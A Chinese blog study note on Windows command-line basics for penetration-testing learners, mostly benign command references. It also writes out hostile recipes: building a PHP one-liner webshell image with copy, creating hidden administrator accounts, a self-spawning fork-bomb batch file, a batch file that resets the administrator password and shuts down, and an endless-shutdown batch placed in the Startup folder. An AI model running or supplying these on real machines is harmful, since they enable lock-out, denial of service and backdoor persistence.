泷羽sec----windows基础学习
声明! 学习视频来自B站up主 泷羽sec > 有兴趣的师傅可以关注一下,如涉及侵权马上删除文章,笔记只是方便各位师傅的学习和探讨,文章所提到的网站以及内容,只做学习交流,其他均与本人以及泷羽sec团队无关,切勿触碰法律底线,否则后果自负!!!!有兴趣的小伙伴可以点击下面连接进入b站主页B站泷羽sec
一、windows一些知识简介
系统配置上,linux与windows不一样
linux: /etc和/proc (存储信息在目录中),也就是Linux中全是目录的形式
windows: 注册表 (存储信息在注册表中)
windows四种shell接口
- GUI 图形化用户接口,操作简单。也就是平常鼠标点击屏幕显示
- cmd命令行用户接口,包含一组预定义命令
- wmic
- powershell 自动化脚本框架,支持.net架构
- wsl 在windows上运行的子系统,当然需要开启一些windows的功能,且子系统可以是linux系统
cmd内置命令
cd \ (切换到根目录)
help (查看cmd内置命令)
二、windows基本命令
windows常用命令
命令 | 命令的含义 |
---|---|
cd | 显示当前目录的名称或将路径更改 |
cmd | 打开另一个windows命令解释程序窗口 |
copy | 将至少一个文件复制到另一个位置 |
del | 删除至少一个文件 |
dir | 显示一个目录中的文件和子目录 |
echo | 显示消息,或将命令回显打开或关闭 |
erase | 删除一个文件或多个文件 |
find | 在一个或者多个文件中搜索一个文本字符串 |
findstr | 在多个文件中搜字符串 |
mkdir | 创建一个目录 |
more | 逐屏显示输出,也就是一点一点的显示,并不是一下子显示所有 |
move | 将一个或多个文件从一个目录移动到另一个目录 |
ren | 重命名文件 |
rmdir | 删除目录 |
type | 显示文本内容 |
attrib | 显示或修改文件扩展名关联 |
bcdedit | 设置启动数据库中的属性以控制启动加载 |
icacls | 显示或修改文件的访问控制列表(acl) |
chcp | 显示或设置活动代码页数 |
comp | 比较两个或两套文件的内容 |
data | 显示或设置日期 |
diskpart | 显示或配置磁盘分区属性 |
doskey | 编辑命令行,撤回windows命令 |
driverquery | 显示当前设备驱动状态和属性 |
fc | 比较两个文件集并显示,他们之间是不同的 |
for | 为一组文件中的每个文件运行一个指定命令 |
fsutil | 显示或配置文件系统属性 |
ftype | 显示或修改在文件扩展名关联使用的文件类型 |
gpresult | 显示计算机或用户的组策略信息 |
mklink | 创建符号链接和硬链接 |
openfiles | 显示远程用户通过文件共享打开的本地文件 |
path | 为可执行文件显示或设置搜索路径 |
set | 显示、设置或删除windows环境变量 |
schtasks | 安排一台计算机上运行命令和程序 |
shutdown | 允许通过本地或远程方式正确关闭计算机 |
start | 启动单独的窗口以允许指定的程序或命令 |
systeminfo | 显示计算机的特定属性和配置 |
tasklist | 显示包括服务在内的所有当前允许的任务 |
taskkill | 终止正在运行的进程或应用程序 |
tree | 树状图,可列举目录下的多个目录或文件,以树状图显示 |
time | 显示或设置系统时间 |
tracert | 网络路径追踪 |
cd \ 表示返回当前盘符下的根目录 cd .. 表示返回上一级目录
tree /f 显示每个文件夹中的名称
tree /a 使用ascii字符,而不使用扩展字符type xxx.txt(文件) 对于文件名,大小写不敏感
find "a" 1.txt 在1.txt文件中查找带a的字符串
find /n "a" 1.txt 在1.txt文件中查找带a的字符串并排序行号
type 1.txt | find "a" 查看1.txt文件内容,并输出带有a字符的字符串
type 1.txt | find "a" /n 查看1.txt文件内容,并输出带有a字符的字符串,并排序tasklist与taskkill
taskkill /pid xxx pid也就是进程号,一般是/pid或/f、/t
如果杀不死的,可以加参数-f 强制。具体的看帮助文档 /?即可,一定要看,而且都是中文的,能看懂的start 应用名称,当然这个名称在一个系统目录/windows/system32中有的话,可以直接调用并启动。
start calc或者cmd 启动计算器或者cmdver,winver(显示计算机的操作系统版本)
reg 注册表的操作,具体的看帮助文档/?,一定要看
nslookup -d xxx 查看域名xxx的历史解析记录
dir/a 查看系统隐藏文件,隐藏文件以 $、.、..开头,并且/a与/A一样,并且,中间可以空开
dir /s xxx.txt 在当前目录下去搜索指定的文件名,当然包括子目录等
dir /tw /od 显示最近编辑的文件,时间是从老到新,自上而下的顺序md xxx 与mkdir一样的,缩写,效果一样
rd xxx 与rmdir一样ipconfig 显示当前的网络状态,ip配置等 /all显示所有
cls 清屏操作
copy 1.txt ..\2.txt 把当前目录下的1.txt文件复制到上一级目录中,并命名为2.txt
这里的路径可以是相对路径或者绝对路径都可以
copy 1.txt+2.txt > 3.txt 把两个文件的内容加在一起,输出为3.txt文件
copy还有其他的参数,可以用于制造一句话的图片马都可以
copy 1.jpg /b + 1.php /a 2.jpg 最终是在图片中插入构造的一句话木马
source 指定要复制的文件。
/A 表示一个 ASCII 文本文件。
/B 表示一个二进位文件。move(移动)与ren(重命名)使用形式与copy差不多,都是先源文件,后目标文件
del 1.txt 2.txt 可多删除文件操作,并且删除的文件是永久删除,不会放入回收站
ping 一般测试主机是否存活,当然是对方没有在防火墙拦截,一般是icmp数据包
ping -t 一直ping,ping也有其他参数可以构建数据包的大小,以及次数等,如果数据包大,并且一直ping,就会 造成所谓的死亡之pinglogoff 注销操作,参数看帮助文档,如果提权成功要远程登录桌面的话,又可能机器处于连接状态,可以利用这 个命令把对方挤掉,也有不用这个命令的
shutdown 关机等操作,有具体参数,可以延时关机等
arp -a 查看arp映射表,可以看到arp表中记录的其他机器的IP地址,可用于内网渗透
at 定时任务
at 【时间】 "shutdown /r /t 0" 在到达设定的时间时,执行任务,立马重启
at 1 /delete
在添加一个任务后,会生成序列号id,使用at就可以看到任务列表,然后就可以指定id杀出。
需要注意,at命令需要权限很高的cmd才能执行systeminfo 和 msinfo32 是显示系统信息,前面是以命令行的返回显示,后面是打开一个页面进行查看
echo %username% 查看当前用户是谁
echo %path% 输出计算机的path环境变量
echo %temp% 输出计算机的临时目录所在路径
echo %userprofile% 输出当前用户的主目录,也就是user目录
set 把环境变量在命令行中输出
set p 查看以p开头的环境变量
setx 永久修改环境变量(可通过帮助文档查看,因为太多)net命令,很重要,因为net指令可以造成漏洞,也可以写病毒
net start/stop telnet 打开/关闭telnet服务
net user 看当前用户
net user admin 123 /add 添加用户为admin,密码为123的用户
net user admin 查看admin的权限
net localgroup administrators admin /add 把admin用户添加到管理组中,拥有很高的组权限(提权)
net user admin /del 删除用户admin
net user ad$ /add 创建隐藏用户ad$
net localgroup administrators ad$ /addnet share 查看当前计算机共享文件夹
net share aaa=c:\windows 把c盘windows目录共享,并命名为aaa
net share aaa /delete 把aaa共享删除
可以先创建一个账号,然后提权,然后把这个文件共享出来,然后访问目标
对于上面的每一个命令,要学会查看帮助文档,可以加深记忆的
三、windows之bat批处理学习
资源耗尽bat批处理
bat(脚本 文件后缀名为 .bat)
echo start cmd > 1.txt
echo %0 >> 1.txt %0可以表示无限点击的意思
ren 1.txt 1.bat
分析:
- 首先输出一个
start
的命令放在1.txt文件中。这个命令是启动一个cmd
- 再输入%0追加到文件中,%0在
.bat
的批处理中,表示的是这个批处理文件本身 - 相当于在执行
start cmd
命令后,继续下去,到%0
这里,但是%0
相当于表示批处理文件本身,也就相当于开头,所以导致再次执行start cmd
,并且一直重复 - 重命名1.txt为1.bat,变为批处理文件
锁机bat批处理
echo net user administrator 123456 > c:\windows\Temp\1.bat
echo shutdown /s /t 0 >> c:\windows\Temp\1.bat
分析:
- 首先是把
administrator
用户进行了改密的命令,并把该命令写入1.bat批处理文件中 - 再追加本地计算机关机的命令,写入到1.bat批处理文件中
- 注意,Temp是windows中的临时文件存放处,在每次计算机重启会自动清空,1.bat文件就会被删除
- 这时候再使用原本的密码登录会发现密码错误
无限重启bat批处理
echo shutdown /s /t 0 > c:\windows\Temp\1.bat
copy c:\windows\Temp\1.bat "%USERPROFILE%\AppData\Roaming\Microsoft\windows\Start\Menu\Programs\Startup\"
这个是开启自启动的目录,这个目录里面的东西都是开机就启动的
分析:
- 首先已经知道在Temp文件下的文件重启后会自动清空,还是把关闭计算机的命令写入批处理文件中
- 在平常使用电脑的使用会发现,有的应用或服务等,会在计算机启动后,它们也启动了,为什么呢,因为在一个目录中把自启动的应用都放在这个目录中
%USERPROFILE%
是电脑中的当前用户的目录路径,所以这个参数就会不管在哪里运行,都会把批处理文件加入到自启动的目录中- 再重启后,计算机本身执行了自启动中的程序,就会导致一直关机,进不了电脑。因为这里写的是
/s
不是/r
所以是关机
windows系统目录接管与渗透的关系
c:\windows\Temp\1.bat (重启自动清空缓存)
本文来自博客园,作者:whitehe,转载请注明原文链接:https://www.cnblogs.com/whitehe/p/18578440